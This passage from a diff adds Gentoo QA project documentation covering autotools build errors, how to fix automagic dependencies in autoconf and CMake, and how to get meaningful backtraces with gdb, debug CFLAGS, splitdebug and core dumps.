+<b>SRC_URI</b> (in which case you have to add <b>${WORKDIR}</b> to the list of
+directories to search or move it in the right directory. This kind of issue is
+one of the most annoying one, so it's usually better to inform as soon as
+possible upstream so that following releases wouldn't require such hacks.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>automake version mismatch when running eautoreconf</title>
+
+<body>
+
+<p>
+Sometimes when running <c>eautoreconf</c>, it fails reporting a version mismatch
+error. You'd expect not to see this ever, as the <c>eautomake</c> function will
+take care of re-running all the autotools when the <c>automake</c> version used
+to build the package differs from the one used by the ebuild; additionally,
+during <c>eautoreconf</c>, the tools are being ran to force replacing files, so
+the references to the <c>automake</c> used by the original packager should be
+gone at that point.
+</p>
+
+<p>
+The only (or at least most likely) cause of this is a bad knowledge of autotools
+by the developer of the ebuild. When faced with the problem described above of
+<e>Possibly undefined macros</e>, the developer might feel compelled to just
+copy the previous <path>aclocal.m4</path> file from the original tarball to a
+different name, to preserve the macro definitions there. Unfortunately this
+overrides the <c>automake</c> macros, causing this almost incomprehensible failure.
+</p>
+
+<warn>
+You should <b>never</b> copy the old <path>aclocal.m4</path> file, as that's
+going to break with <c>automake</c> micro releases, and might even create
+problems when <c>automake</c> is patched in Gentoo to fix a bug in those macros.
+</warn>
+
+</body>
+</section>
+
+<section> <!-- Makefile.am requires missing files -->
+<title>automake fails, requires missing files</title>
+
+<body>
+
+<p>
+Another common error, this time with <c>automake</c> is a failure because of
+missing files, such as <path>NEWS</path> or <path>README</path>. This is because
+all the autotools assume, if nobody say otherwise to them, that they are
+working on a GNU package, having a series of files because of the code style
+guide from GNU itself, and fails when those files are missing. In those cases
+<c>automake</c> should be called with the <c>--foreign</c> parameter, that tells
+it to not fail if the GNU-required files are missing.
+</p>
+
+<p>
+Again, <c>eautomake</c> function tries to make simpler autotools rebuilding
+by checking if some of the GNU needed files are present, and then calling
+<c>automake</c> with the right option if not. The right way to solve this issue
+(to send upstream) is to add to the <b>AUTOMAKE_OPTIONS</b> variable the option
+<e>foreign</e> so that it will know to use foreign support out of the box.
+</p>
+
+<p>
+When the files are requested by <path>configure.in</path> or
+<path>configure.ac</path> instead of <path>Makefile.am</path>, and are usually
+the two files <path>config.guess</path> and <path>config.sub</path>, the problem
+is that the package is not properly bootstrapped. To fix this, <c>automake</c>
+should be called with the options <c>--add-missing --copy</c>. This is what the
+<c>eautomake</c> function already do, so if you find this problem, you should
+consider using the functions provided by <path>autotools</path> eclass instead
+of running the tools manually or with the eventual script provided with the
+package itself.
+</p>
+
+<warn>
+A common mistake done when <c>automake</c> fail in those cases is to not put the
+<c>|| die</c> condition, avoiding to interrupt the build process. This is an
+error, because the files will usually be needed later, it's then better to force
+always their replacement, also because in many cases new versions of the two
+files are needed to build on some architectures.
+</warn>
+
+</body>
+</section>
+
+<section>
+<title>Missing dependencies' version</title>
+
+<body>
+
+<p>
+Since about Summer 2006, <c>automake</c> and <c>autoconf</c> wrappers don't depend
+on all the versions of the respective packages forcefully, which means you cannot
+rely on the users to have all the versions installed, and the dependencies has to be
+fixed according to the used packages. To simplify the dependency mangling and the
+enforcing of the needed versions, the variables <b>WANT_AUTOCONF</b> and
+<b>WANT_AUTOMAKE</b> are considered inputs to the eclass that will then handle both
+dependencies and enforcement.
+</p>
+
+<pre caption="depending on autoconf 2.1 and automake 1.4">
+WANT_AUTOCONF="2.1"
+WANT_AUTOMAKE="1.4"
+
+inherit autotools
+</pre>
+
+<p>
+In many cases, instead of depending on a given version of automake or autoconf, we
+want to depend on the latest version available, more likely to be already in users'
+systems. For this reason, the autotools eclass will accept a special value for the
+mentioned variables, <e>latest</e>, that will then be expanded to <c>autoconf</c>
+2.5 and <c>automake</c> either 1.9 or 1.10 depending on what is unmasked for that
+given system. This is suggested when the package does not depend on some features
+or misbehaviour of an older version of them.
+</p>
+
+<pre caption="depending on the latest versions of autotools">
+WANT_AUTOCONF="latest"
+WANT_AUTOMAKE="latest"
+
+inherit autotools
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Errors in build phase about autoconf version</title>
+
+<body>
+
+<p>
+Sometimes you can get errors during the build of a package, related to the
+<c>autoconf</c> version, even though you didn't rebuild autotools files, or
+actaully <e>because</e>you didn't rebuild autotools files.
+</p>
+
+<pre caption="common error in build phase">
+${S}/missing --run
+automake-1.10 --gnu  src/Makefile
+aclocal.m4:14: error: this file was generated for autoconf 2.61.
+You have another version of autoconf.  If you want to use that,
+you should regenerate the build system entirely.
+aclocal.m4:14: the top level
+autom4te-2.62: /usr/bin/m4 failed with exit status: 63
+automake-1.10: autoconf failed with exit status: 63
+make[2]: *** [Makefile.in] Error 1
+</pre>
+
+<p>
+This message comes from the code added by the so-called "maintainer mode"
+provided by <c>automake</c>. This mode is mostly intended to make sure that
+developers, and users building manually, get the correct version of
+<path>configure</path> and <path>Makefile.in</path> even if they were modified
+after running <c>make dist</c> to package the sources.
+</p>
+
+<p>
+While maintainer mode is quite important for both developers and users building
+manually, it comes a bit in the way for ebuilds, as it will automatically run
+autotools if you patch the <path>configure.ac</path> or <path>Makefile.am</path>
+files, even when autotools are not in the build-time dependencies on the
+ebuild.
+</p>
+
+<p>
+Even worse, if the <c>automake</c> version used by the package is not installed
+(for instance if the package uses the old 1.8 version, while the user only has
+the last 1.10 version, it will skip the rebuild entirely, making the actual
+result non-deterministic from the ebuild point of view.
+</p>
+
+<p>
+The error above is caused by a package that had one of its
+<path>Makefile.am</path> files modified, usually by a patch, without rebuilding
+the autotools. In these cases, <c>automake</c> will be invoked to just rebuild
+the involved <path>Makefile.in</path>, but it will work only if the
+<c>autoconf</c> version in the system is the same as the one used to create the
+original <path>configure</path> script. This is not the case once a new
+<c>autoconf</c> version is released.
+</p>
+
+<p>
+This is solved by rebuilding autotools properly as described above, through the
+<c>eautoreconf</c> function (or other method depending on eventual higher level
+eclasses), instead of leaving maintainer mode to take care of it.
+</p>
+
+<impo>
+Newer autotools practises suggest to leave maintainer mode forced on, which is
+what happens if the <path>configure.ac</path> file does not call the
+<c>AM_MAINTAINER_MODE</c> macro. For the projects that still provide an option,
+it's possible to disable maintainer mode (and thus returning to a deterministic
+rebuild from the ebuild point of view) through the
+<c>--disable-maintainer-mode</c> option at <c>econf</c>.
+</impo>
+
+</body>
+</section>
+
+<section>
+<title>Failure during configure on some locales (like et_EE)</title>
+
+<body>
+
+<p>
+Some packages, using <c>autoconf</c> 2.13, fail to configure on some systems
+with locales like et_EE. This is caused by a bug in that version of autoconf
+(fixed in following versions, which are not backward compatible), where sed is
+trying to use local-dependent syntax before the LANG variable is reset to use C
+locale (making it locale-independent).
+</p>
+
+<p>
+This can be seen for instance in <uri link="http://bugs.gentoo.org/103483">bug
+#103483</uri>.
+</p>
+
+<p>
+To fix these cases, it's possible to apply <uri
+link="bug103483-configure-LANG.patch.txt">configure-LANG.patch</uri>, that moves the
+LANG reset before first use of locale-dependent syntax.
+</p>
+
+<p>
+If possible, it's anyway suggested to try using newer versions of
+<c>autoconf</c> (2.59 or later) where the issue is fixed already. Unfortunately
+this is not feasible for all packages, so applying the patch is a nice way to
+fix the issue when <c>autoconf</c> 2.1 is actually needed.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/qa/automagic.xml b/xml/htdocs/proj/en/qa/automagic.xml
new file mode 100644
index 00000000..51da4f72
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/automagic.xml
@@ -0,0 +1,274 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/qa/automagic.xml,v 1.6 2008/11/08 08:41:18 serkan Exp $ -->
+
+<guide link="/proj/en/qa/automagic.xml" lang="en">
+<title>Automagic dependencies, what they are and how to fix them</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+<author title="Author">
+  <mail link="serkan@gentoo.org">Serkan Kaba</mail>
+</author>
+
+<abstract>
+This guide aim to describe the problem of "automagic dependencies", describing
+the reason why they are problematic and how to handle them in most common cases.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.2</version>
+<date>2008-11-07</date>
+
+<chapter> <!-- Introduction -->
+<title>Introduction</title>
+
+<section>
+<title>What are automagic dependencies?</title>
+<body>
+
+<p>
+The so-called <e>automagic dependencies</e> are shallow dependencies of a
+software recognized at build or runtime and changes the way the software works.
+The name <e>automagic</e> is a pun referred to the use of GNU autotools, that
+produces most of the cases of <e>automagic dependencies</e>.
+</p>
+
+<p>
+Software usually have two kind of dependencies: mandatory dependencies and
+optional dependencies. The first kind of dependencies are needed to use the
+software (that might be a library or a program), and cannot be missing in the
+system while building or running the program (depending whether they are build
+or runtime dependencies). Optional dependencies are the ones that can be
+disabled, usually at buildtime (but sometimes at runtime, too).
+</p>
+
+<p>
+Optional dependencies are usually up to the user (or the builder) to enable or
+disable, the classical example is brought by the <c>--enable-foo</c> or
+<c>--with-bar</c> options at <c>./configure</c> call (those parameters are used
+to enable dependencies that are off by default, but there are cases when the
+dependencies are on by default so you have <c>--disable-foo</c> and
+<c>--without-bar</c>).
+</p>
+
+<p>
+But with build systems that tries to understand what is present in the system
+they are building it, sometimes dependencies get <e>automagic</e>. This means
+that the build system doesn't give the builder a way to decide if he wants
+something enabled, so the dependency added, but they just enable it when they
+find it. This is the wrong behavior.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Why automagic dependencies are wrong -->
+<title>Why automagic dependencies are wrong</title>
+
+<body>
+
+<p>
+In the case of binary-based distributions, like RPM or DEB based ones,
+automagic dependencies does not change anything: if the user has something
+installed and is building by hand, it's usually what he wants to enable, while
+if it's the maintainer, he'll just have to add a dependency over the packages
+required to run the binaries he has created.
+</p>
+
+<p>
+Different is for source-based distributions like Gentoo Linux (and variants).
+As source-based distributions doesn't detach user and devel packages, the build
+systems might find more stuff than the user required, and will try to link to
+all it know about. This is the major cause of binary linking breaking after
+a depclean.
+</p>
+
+<p>
+To simplify, when an automagic dependency is not stated as mandatory in an
+ebuild, but rather has a flag that just adds or remove the dependencies on a
+given package, if this package is present in the system building the software
+with automagic dependencies, but then it's removed, the software will break,
+requiring to run <c>revdep-rebuild</c> to fix the linking. It's also possible
+that an user really don't want some dependency enabled because he know it's
+likely to break from time to time, or because he's going to create a binary
+package for another machine where the dependency might not be present (or might
+not work at all).
+</p>
+
+<p>
+When a package has automagic dependencies there are only two things that can
+be done: the first is to state the dependency as mandatory, no matter what the
+users put in their USE variable, but that might mean that some support that
+people don't want is always enable and its dependencies pulled in; the other
+is to fix the build system to be able to disable at build time the dependency
+also if it's present on the system.
+</p>
+
+<p>
+Most of the time upstream developers don't really think of adding support for
+disabling automagic dependencies as they don't feel them as actual problems:
+they do have all of them installed, or the ones they need, and they usually
+build with all of them. Luckily, most of upstream developers also don't mind
+adding options to disable them if patches are provided (sometimes also without
+patches, but of course it might be more welcome if already prepared patches are
+sent), but that's not always the case, for example Wine's upstream don't want
+to add support for enabling or disabling features in <c>./configure</c> call
+as they want the software to always use as much as options as possible.
+</p>
+
+</body>
+
+</section>
+
+</chapter>
+
+<chapter> <!-- Fixing automagic dependencies -->
+<title>Fixing automagic dependencies</title>
+
+<section> <!-- Autotools -->
+<title>Autotools</title>
+
+<body>
+
+<p>
+Most of the automagic dependencies, like the name suggests, are due to (bad) use
+of GNU autotools (<c>autoconf</c> to be exact). There are two main cases where
+automagic dependencies are brought in: the first is the "lazy devs" case, where
+the dependencies does not have a <c>./configure</c> parameter at all, they are
+just checked with <b>AC_CHECK_LIB</b> or the <c>pkg-config</c> macro
+<b>PKG_CHECK_MODULES</b>, that allows to run specific code when a library (or
+a package) is present or not; the other case is the "silly argument" case, where
+a <c>--disable-foo</c> or <c>--without-bar</c> parameter is actually accepted by
+<c>./configure</c>, but it's not checked correctly.
+</p>
+
+<p>
+The first case is actually simple to fix, it's just matter of adding a
+<b>AC_ARG_WITH</b> (or <b>AC_ARG_ENABLE</b>) call and then check for the
+corresponding variable before doing the test. It's useful to know that the first
+parameter passed to the above macro actually names a variable that gets loaded
+by <c>autoconf</c> without having to add the extra parameters for action to
+execute when the parameter is present and when it's not, the variable is named
+<path>$enable_foo</path> or <path>$with_bar</path>, depending on which of the
+two macros are called.
+</p>
+
+<note>
+For the patches to be accepted by upstream, it's usually suggested not to change
+the default behavior, when <c>./configure</c> is called without parameters; for
+this reason, here will be listed two methods to make non-automagic the
+dependencies, one for enabled-by-default deps and one for disabled-by-default
+deps.
+</note>
+
+<pre caption="Adding an enabled-by-default check for an optional dependency">
+<i>AC_ARG_WITH([foo], AS_HELP_STRING([--without-foo], [Build without foo library (default: test)]))</i>
+
+<i>if test "x$with_foo" != "xno"; then</i>
+  PKG_CHECK_MODULES([FOO], [foo >= 0.1])
+<i>fi</i>
+</pre>
+
+<pre caption="Adding a disabled-by-default check for an optional dependency">
+<i>AC_ARG_WITH([foo], AS_HELP_STRING([--with-foo], [Build with foo library (default: disabled)]))</i>
+
+<i>if test "x$with_foo" == "xyes"; then</i>
+  PKG_CHECK_MODULES([FOO], [foo >= 0.1])
+<i>fi</i>
+</pre>
+
+<p>
+When the parameter is present but it's not honored, it might be simple as well
+as complex to fix the dependency. It might just be a test that's not properly
+written, so it has to be changed in something alike to the tests above, or it
+might be a complete screw-up in calls of <b>AC_ARG_WITH</b> macros. In those
+cases, it's better to check the code carefully and contact upstream if a screw
+up seems likely.
+</p>
+
+<warn>
+Often (almost always when a package is using automake) automagic dependencies
+are coupled with <b>AM_CONDITIONAL</b> calls. It's very important that those
+calls are put <e>outside</e> the if/fi block, or <c>./configure</c> call will
+bomb out.
+</warn>
+
+<p>
+There's actually another way to workaround, without fixing (and patching), the
+automagic dependencies generated by <b>AC_CHECK_LIB</b>, and it's by playing
+around with the cache values used by <c>autoconf</c>. This method is actually
+deprecated because it does not fix the issue to the roots and might create
+problems if upstream changes the tests a bit using a different cache variable
+name. Also, in this way fixes can't be sent upstream for integration in later
+versions.
+</p>
+
+</body>
+</section>
+
+<section><!-- CMake -->
+<title>CMake</title>
+
+<body>
+
+<p>
+Automagic dependencies may occur in CMake-based build systems where
+<b>PKG_CHECK_MODULES</b> is called without the <b>REQUIRED</b> parameter
+unconditionally. Fixing this is quite easy, as it only involves introducing an
+option to build system and executing <b>PKG_CHECK_MODULES</b>, depending on its
+value.
+</p>
+
+<pre caption="Adding ENABLE_FOO option to avoid an automagic dependency">
+<i>OPTION(ENABLE_FOO "Enable foo library" ON)</i>
+...
+<i>IF (ENABLE_FOO)</i>
+  PKG_CHECK_MODULES (FOO foo>=0.1)
+<i>ENDIF (ENABLE_FOO)</i>
+...
+<i>IF (ENABLE_FOO)</i>
+  IF (FOO_FOUND)
+  ...
+  ELSE (FOO_FOUND)
+  ...
+  ENDIF (FOO_FOUND)
+<i>ENDIF (ENABLE_FOO)</i>
+</pre>
+
+<note>
+Set the default in OPTION according to the original behavior.
+</note>
+
+</body>
+</section>
+<section> <!-- Other build systems -->
+<title>Other build systems</title>
+
+<body>
+
+<impo>
+Please expand this guide ;) Notes about other non-custom build systems such as
+<c>scons</c> are welcome, if the build system has ways to define automagic
+dependencies, it should have a way to fix them, too.
+</impo>
+
+<p>
+Automagic dependencies can be created also with custom build systems that are
+used by some software. Unfortunately, being custom, those build systems are
+usually difficult to tweak, and there's no way to describe a general approach
+to fix them.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/qa/backtraces.xml b/xml/htdocs/proj/en/qa/backtraces.xml
new file mode 100644
index 00000000..16461c63
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/backtraces.xml
@@ -0,0 +1,573 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/qa/backtraces.xml,v 1.12 2010/06/16 16:43:53 flameeyes Exp $ -->
+
+<guide link="/proj/en/qa/backtraces.xml" lang="en">
+<title>How to get meaningful backtraces in Gentoo</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego E. Pettenò</mail>
+</author>
+
+<author title="Hardened toolchain information">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+
+<author title="Hardened toolchain and x86 architecture information">
+  <mail link="kevquinn@gentoo.org">Kevin Quinn</mail>
+</author>
+
+<author title="Reviewer">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+
+<abstract>
+This guide is meant to provide users with a simple explanation of why a default
+Gentoo installation does not provide meaningful backtraces and how to set it up
+to get them.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.10</version>
+<date>2010-06-16</date>
+
+<chapter> <!-- Introduction -->
+<title>Backtraces with Gentoo</title>
+
+<section>
+<title>What are backtraces?</title>
+
+<body>
+
+<p>
+A <e>backtrace</e> (sometimes also called bt, trace, or stack trace) is a human
+readable report of the calling stack of a program. It tells you at which point
+of a program you are and how you reached that point through all the functions
+up to <path>main()</path> (at least in theory).
+Backtraces are usually analyzed when error conditions such as segmentation
+faults or aborts are reached using debuggers like <c>gdb</c> (GNU debugger), to
+find the cause of the error.
+</p>
+
+<p>
+A meaningful backtrace contains not only the shared objects where the call was
+generated, but also the name of the function, the filename and the line where
+it stopped. Unfortunately on a system optimised for performance and conserved
+disk space, the backtraces are useless and show only the pointers on the stack
+and a series of ?? instead of the functions' names and position.
+</p>
+
+<p>
+This guide will show how it's possible to get useful, meaningful backtraces in
+Gentoo, by using Portage features.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Compiler flags -->
+<title>Compiler flags</title>
+
+<body>
+
+<p>
+By default <c>gcc</c> does not build debug information inside the objects
+(libraries and programs) it builds, as that creates larger objects. Also,
+many optimisations interfere with how the debug information is saved. For these
+reasons, the first thing to pay attention to is that the CFLAGS are set to
+generate useful debug information.
+</p>
+
+<p>
+The basic flag to add in this case is <c>-g</c>. That tells the compiler to
+include extra information in objects, such as filenames and line numbers.
+This is usually enough to have basic backtraces, but the flag <c>-ggdb</c>
+adds more information. There is actually another flag (<c>-g3</c>), but its use
+is not recommended. It seems to break binary interfaces and might lead to extra
+crashes. For instance, <path>glibc</path> breaks when built with that flag. If
+you want to provide as much information as possible, you should use the 
+<c>-ggdb</c> flag.
+</p>
+
+<pre caption="Example of CFLAGS with debug information">
+CFLAGS="-march=k8 -O2 -ggdb"
+CXXFLAGS="${CFLAGS}"
+</pre>
+
+<p>
+High optimisation levels, such as <c>-O3</c> might cause the backtrace
+to be less faithful, or incorrect. Generally speaking, <c>-O2</c> and
+<c>-Os</c> can be used safely to get an approximate backtrace, down to
+the function called and the area of the source file where the crash
+happened. For more precise backtraces, you should instead use <c>-O1</c>.
+</p>
+
+<note>
+The use of <c>-O0</c> is often suggested when trying to produce a
+complete backtrace. Unfortunately this does not always play fair with
+the software itself, as disabling all optimisations changes the
+implementation of functions in the GNU C library (sys-libs/glibc), to
+the point that it can be considered being two different libraries, one
+for optimised and one for non-optimised builds. Also, some software
+will fail to build entirely when using <c>-O0</c> because of the
+changes in headers' includes, and lack of features such as constant
+propagation in dead code elimination.
+</note>
+
+<p>
+Note for x86 architecture users: x86 users frequently have
+<c>-fomit-frame-pointer</c> in their CFLAGS. The x86 architecture has a limited
+set of general registers, and this flag can make an extra register available,
+which improves performance. However there is a cost: it makes it impossible for
+<c>gdb</c> to "walk the stack" &#8212; in other words, to generate a backtrace reliably.
+Remove this flag from CFLAGS to build something easier for <c>gdb</c> to
+understand. Most other platforms do not have to worry; either they generally
+don't set <c>-fomit-frame-pointer</c> anyway, or the code generated by
+<c>gcc</c> does not confuse <c>gdb</c> (in which case the flag is already
+enabled by <c>-O2</c> optimisation level).
+</p>
+
+<p>
+Hardened users have other things to worry about. The
+<uri link="http://www.gentoo.org/proj/en/hardened/hardenedfaq.xml#hardeneddebug">hardened
+FAQ</uri> provides the extra hints and tips you need to know.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Stripping -->
+<title>Stripping</title>
+
+<body>
+<p>
+Just changing your CFLAGS and re-emerging world won't give you meaningful
+backtraces anyway, as you have to solve the stripping problem. By default
+Portage strips binaries. In other words, it removes the sections
+unneeded to run them to reduce the size of the installed files. This is a good
+thing for an average user not needing useful backtraces, but removes all the
+debug information generated by <c>-g*</c> flags, and also the symbol tables
+that are used to find the base information to show a backtrace in human readable
+form.
+</p>
+
+<p>
+There are two ways to stop stripping from interfering with debugging and useful
+backtraces. The first is to tell Portage to not strip binaries at all, by adding
+<e>nostrip</e> to FEATURES. This will leave the installed files exactly as <c>gcc</c>
+created them, with all the debug information and symbol tables, which
+increases the disk space occupied by executables and libraries. To avoid this
+problem, in Portage version 2.0.54-r1 and the 2.1 series, it's possible to use the
+<e>splitdebug</e> FEATURE instead.
+</p>
+
+<p>
+With <e>splitdebug</e> enabled, Portage will still strip the binaries installed
+in the system. But before doing that, all the useful debug information is copied
+to a ".debug" file, which is then installed inside <path>/usr/lib/debug</path>
+(the complete name of the file would be given by appending to that the path 
+where the file is actually installed). The path to that file is then saved
+in the original file inside an ELF section called ".gnu_debuglink", so that
+<c>gdb</c> knows which file to load the symbols from.
+</p>
+
+<impo>
+If you enable both <e>nostrip</e> and <e>splitdebug</e> features, Portage won't
+strip binaries at all, so you have to pay attention to what you want.
+</impo>
+
+<p>
+Another advantage of <e>splitdebug</e> is that it doesn't require you to rebuild
+the package to get rid of the debug information. This is helpful when you build
+some packages with debugging to get a backtrace of a single error. Once it's
+fixed, you just need to remove the <path>/usr/lib/debug</path> directory.
+</p>
+
+<p>
+To be sure to not strip binaries, you must also be sure you don't have
+the <c>-s</c> flag set in your LDFLAGS. That tells the linker to strip the
+resulting binaries in the link phase. Also note that using that flag might lead
+to further problems. It won't respect the strip restrictions imposed by some
+packages that stop working when entirely stripped.
+</p>
+
+<note>
+Some packages unfortunately handle stripping by themselves, inside the upstream
+provided makefiles. This is an error and should be reported. All packages
+should leave Portage the task of the stripping or simply restrict stripping
+entirely. The main exception to this are binary packages. They are usually
+stripped by upstream, outside of Portage control.
+</note>
+
+</body>
+
+</section>
+
+<section> <!-- debug USE flag -->
+<title>debug USE flag</title>
+
+<body>
+
+<p>
+Some ebuilds provide a <b>debug</b> USE flag. While some mistakenly use it to
+provide debug information and play with compiler flags when it is enabled, that
+is not its purpose.
+</p>
+
+<p>
+If you're trying to debug a reproduceable crash, you want to leave this USE flag
+alone, as it'll be building a different source than what you had before. It is
+more efficient to get first a backtrace without changing the code, by simply
+emitting symbol information, and just afterward enable debug features to track
+the issue further down.
+</p>
+
+<p>
+Debug features that are enabled by the USE flag include assertions, debug logs
+on screen, debug files, leak detection and extra-safe operations (such as
+scrubbing memory before use). Some of them might be taxing, especially for
+complex software or software where performance is an important issue.
+</p>
+
+<p>
+For these reasons, please exercise caution when enabling the <b>debug</b> USE
+flag, and only consider it a last-chance card.
+</p>
+
+</body>
+
+</section>
+
+<section> <!-- Introducing gdb -->
+<title>Introducing gdb</title>
+
+<body>
+
+<p>
+Once your packages are built with debug information and are not stripped, you
+just need to get the backtrace. To do so you need the <path>sys-devel/gdb</path>
+package. It contains the GNU debugger (<c>gdb</c>). After installing that, you
+can proceed with getting the backtrace. The simplest way to get one is to run
+the program from inside <c>gdb</c>. To do so, you need to point <c>gdb</c> to
+the path of the program to run, give it the arguments it will need, and then
+run it:
+</p>
+
+<pre caption="Running ls through gdb">
+$ <i>gdb /bin/ls</i>
+GNU gdb 6.4
+[...]
+
+(gdb) <i>set args /usr/share/fonts</i>
+(gdb) <i>run</i>
+Starting program: /bin/ls /usr/share/fonts
+[Thread debugging using libthread_db enabled]
+[New Thread 47467411020832 (LWP 11100)]
+100dpi  aquafont     baekmuk-fonts  cyrillic  dejavu     fonts.cache-1  kochi-substitute  misc  xdtv
+75dpi   arphicfonts  CID            default   encodings  fonts.dir      mikachan-font     util
+
+Program exited normally.
+(gdb)
+</pre>
+
+<p>
+The message "Program exited normally" means that the program exited with the
+code 0. That means that no errors were reached. You shouldn't trust that too
+much, as there are programs that exit with status 0 when they reach error
+conditions. Another common message is "Program exited with code <e>nn</e>". That
+simply tells you which non-zero status code they returned. That might imply a
+handled or expected error condition. For segmentation faults and aborts, you get
+instead a "Program received signal SIGsomething" message.
+</p>
+
+<p>
+When a program receives a signal, it might be for many different reasons. In case
+of SIGSEGV and SIGABRT (respectively segmentation fault and abort), it usually
+means the code is doing something wrong, like doing a wrong syscall or
+trying to access memory through a broken pointer. Other common signals are
+SIGTERM, SIGQUIT and SIGINT (the latter is received when CTRL-C is sent to the
+program, and usually gets caught by <c>gdb</c> and ignored by the program).
+</p>
+
+<p>
+Finally there is the series of "Real-Time events". They are named SIG<e>nn</e>
+with <e>nn</e> being a number greater than 31. The pthread implementation
+usually uses them to syncronise the different threads of the program, and
+thus they don't represent error conditions of any sort. It's easy to provide
+meaningless backtraces when confusing the Real-Time signals with error
+conditions. To prevent this, you can tell <c>gdb</c> to not stop the program when
+they are received, and instead pass them directly to the program, like in the
+following example.
+</p>
+
+<pre caption="Running xine-ui through gdb, ignoring real-time signals.">
+$ <i>gdb /usr/bin/xine</i>
+GNU gdb 6.4
+[...]
+
+(gdb) <i>run</i>
+Starting program: /usr/bin/xine
+[...]
+
+Program received signal SIG33, Real-time event 33.
+[Switching to Thread 1182845264 (LWP 11543)]
+0x00002b661d87d536 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/libpthread.so.0
+(gdb) <i>handle SIG33 nostop noprint noignore pass</i>
+Signal        Stop      Print   Pass to program Description
+SIG33         No        No      Yes             Real-time event 33
+(gdb) <i>kill</i>
+Kill the program being debugged? (y or n) <i>y</i>
+(gdb) <i>run</i>
+</pre>
+
+<p>
+The <c>handle</c> command tells <c>gdb</c> what it should do when the given signal is
+sent to the command; in this case the flags are <c>nostop</c> (don't stop the
+program returning the command to the debugger), <c>noprint</c> (don't bother
+printing the reception of such a signal), <c>noignore</c> (don't ignore the signal &#8212;
+ignoring signals is dangerous, as it means discarding them without passing them
+to the program), <c>pass</c> (pass the signal to the debugged program).
+</p>
+
+<p>
+After the eventual Real-Time events are being ignored by <c>gdb</c>, you should
+try to reproduce the crash you want to report. If you can reproduce it
+systematically, it's quite easy. When <c>gdb</c> tells you that the program
+received the SIGSEGV or SIGABRT signal (or whatever else signal might represent
+the error condition for the program), you'll have to actually ask for the 
+backtrace, possibly saving it somewhere. The basic command to do that is
+<c>bt</c>, which is short for <c>backtrace</c>, which will show you the backtrace of
+the current thread (if the program is single-threaded, there's only one thread).
+</p>
+
+<p>
+An alternative command to get a more detailed backtrace is <c>bt full</c>. That
+also gives you the information about parameters and local variables to the
+function where calls are being made (when they are available and not
+removed by optimisations). This makes the trace longer but also more useful
+when trying to find, for example, why a pointer is uninitialised.
+</p>
+
+<p>
+Lately it's not rare that even simple programs are written with multiple threads,
+making the use of a simple <c>bt</c> output, albeit meaningful, quite useless,
+as it might represent the status of a thread different from the one in which the
+signal is thrown, or from the one where the error condition manifested (in case there's
+another thread responsible for throwing signals). For this reason, you should
+instead get the trace with the longer command <c>thread apply all bt full</c>,
+that tells the debug to print the full tracing of all the threads currently
+running.
+</p>
+
+<p>
+If the backtrace is short, it's easy to copy and paste it out of the terminal
+(unless the failure happens on a terminal without X), but sometimes it's just
+too long to be copied easily, because it spans over multiple pages. To be able
+to get the backtraces on a file to attach to a bug, you can use the
+<c>logging</c> feature:
+</p>
+
+<pre caption="Using logging feature to save the backtrace to file">
+$ <i>gdb /usr/bin/xine</i>
+GNU gdb 6.5
+[...]
+
+(gdb) <i>run</i>
+[...]
+
+(gdb) <i>set logging file backtrace.log</i>
+(gdb) <i>set logging on</i>
+Copying output to backtrace.log.
+(gdb) <i>bt</i>
+#0  0x0000003000eb7472 in __select_nocancel () from /lib/libc.so.6
+...
+(gdb) <i>set logging off</i>
+Done logging to backtrace.log.
+(gdb) <i>quit</i>
+</pre>
+
+<p>
+Now you can get the backtrace in the <path>backtrace.log</path> file, and just
+send it via email or attach that file to the related bug.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Core dumps -->
+<title>Core dumps</title>
+
+<body>
+
+<p>
+Sometimes the crashes are difficult to reproduce, the program is vastly threaded,
+it's too slow to run in <c>gdb</c> or it's messed up when run through it
+(shouldn't surprise anybody that running inside the debugger there are more bugs
+than are reproducible without the debugger itself). In these cases, there is one
+tool that comes in useful: the core dump.
+</p>
+
+<p>
+A core dump is a file that contains the whole memory area of a program when it
+crashed. Using that file, it's possible to extract the stack backtrace even
+if the program has crashed outside <c>gdb</c>, assuming core dumps are
+enabled. By default core dumps are not enabled on Gentoo Linux (they are,
+however, enabled by default on
+<uri link="http://www.gentoo.org/proj/en/gentoo-alt/bsd/fbsd/">Gentoo/FreeBSD</uri>),
+so you have to enable them.
+</p>
+
+<p>
+The core dump files are generated directly by the kernel; for this
+reason, the kernel need to have the feature enabled at build time to
+work properly. While all the default configurations enable core dump
+files, if you're running an embedded kernel, or you have configured
+otherwise standard kernel features, you should verify the following
+options:
+</p>
+
+<note>
+You can skip this step if you haven't enabled the “Configure standard
+kernel features” option at all, which you shouldn't have if you don't
+know whether you did.
+</note>
+
+<pre caption="Kernel options to enable core dumps">
+General Setup ---&gt;
